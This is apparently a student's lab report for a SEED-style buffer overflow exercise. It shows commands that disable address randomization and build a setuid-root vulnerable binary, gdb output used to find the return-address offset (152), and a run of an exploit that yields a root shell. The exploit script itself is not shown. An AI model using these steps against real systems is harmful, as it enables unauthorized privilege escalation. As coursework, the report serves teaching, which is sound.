Buffer Overflow Attack
Author: Athulya Ganesh

Steps to perform the attack in your VM

1. Disable address randomization using the following command:

```
seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
```

```
kernel.randomize_va_space = 0
```

2. Compile stack.c with adequate permissions

```
gcc -o stack -z execstack -fno-stack-protector stack.c
```

```
seed@VM:~/Lab2$ sudo chown root stack
seed@VM:~/Lab2$ sudo chmod 4755 stack
seed@VM:~/Lab2$ ls
lcode  call_shellcode.c  exploit.c  exploit.py  stack  stack.c
```

3. Run the gdb debug tool

```
seed@VM:~/Lab2$ gcc -z execstack -fno-stack-protector -g -o stack_dbg

seed@VM:~/Lab2$ ls
      call_shellcode.c  exploit.py  stack.c
lcode  exploit.c          stack       stack_dbg
seed@VM:~/Lab2$ gdb stack_dbg
Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
 (C) 2016 Free Software Foundation, Inc.
PLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
ree software: you are free to change and redistribute it.
NO WARRANTY, to the extent permitted by law.  Type "show copying"
 warranty" for details.
was configured as "i686-linux-gnu".
 configuration" for configuration details.
eporting instructions, please see:
ww.gnu.org/software/gdb/bugs/>.
GDB manual and other documentation resources online at:
ww.gnu.org/software/gdb/documentation/>.
 type "help".
ppos word" to search for commands related to "word"...
ymbols from stack_dbg...done.
```

(gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c is the entire command.)

4. Set breakpoints using gdb and run to learn ebp and buffer.

```
Breakpoint 1, bof (str=0xbfffea97 "\bB\003") at stack.c: 21
21          strcpy(buffer, str);
(gdb) p $ebp
$1 = (void *) 0xbfffe9e8
(gdb) p &buffer
$2 = (char (*)[140]) 0xbfffe954
(gdb) p/d 0xbfffe9e8 - 0xbfffe954
$3 = 148
(gdb) quit
```

(sorry for the low quality image, I had to redo this portion and it was almost time to submit)

5. Run the python file by running the `python3 exploit.py` command. Do this by replacing the offset value correctly with 152.
6. Running the previous commands again (from step 2), and then run ./stack

```
athulya-seed@VM:~/Lab2$ ./stack
# q
```

```
#id
uid=0(root) gid=0(root) groups=0(root)
```

How do you find the value of ebp

To find the value of the `ebp` (base pointer) register, we use the GNU Debugger (`gdb`) as part of the process to analyze the memory layout of a vulnerable program that suffers from a buffer overflow issue.

- Disable Address Randomization: This is a crucial initial step to ensure that addresses within the process's address space are predictable, facilitating the exploitation of the buffer overflow vulnerability.
- Compile the Vulnerable Program: Compile the program with specific flags that disable stack protection mechanisms and enable executable stacks, making the stack overflow attack feasible.
- Use `gdb` to Debug the Program: Launch `gdb` against the compiled program to investigate its memory layout and control flow.
- Set a Breakpoint and Run the Program: By setting a breakpoint at the beginning of the `bof` function (which contains the vulnerability), run the program in a controlled manner up to the point of interest.
- Find the Value of `ebp`: Once the program hits the breakpoint and execution is paused, you can print the current value of the `ebp` register by executing the command `p $ebp` in `gdb`. This command outputs the value of `ebp`, which points to the base of the current stack frame.
- Determine Other Addresses: In addition to finding `ebp`, we look for the address of the buffer (the start of the stack for your overflow) and calculate the distance to the `ebp` to understand the layout.
- Execute the Attack: With the knowledge of `ebp` and the layout of the stack, we craft a payload (in this case, the "badfile") that includes a NOP sled, the shellcode, and overwrites the return address on the stack to point to the shellcode, effectively hijacking the flow of execution.

Calculations:

Return address: ebp + 4

Stack top: ebp -148
We found our value at 152.
(ebp + 4) - (ebp -148) = 152

Since badfile starts from content[0], the attacker will fill content [152:156] with return address x which takes up a total of 4 bytes, adding up from 152 to 156. The content of the badfile has 517 bytes. If the shell code takes z bytes, content[517-z] is the start of the shellcode in the badfile. Since content[0] starts at ebp -148, x = ebp - 148 + 517 - y = ebp + 369 - length of the shellcode. Thus, the attacker (us) fills content[152:156] with x.

How do you decide the content of badfile

The badfile contained NOP instructions and a malicious shellcode. We calculated and inserted the appropriate return address to redirect execution to the shellcode.

Whether your attack is successful

Yes the attack was successful and exploited the buffer overflow vulnerability, while also showing the risks involved.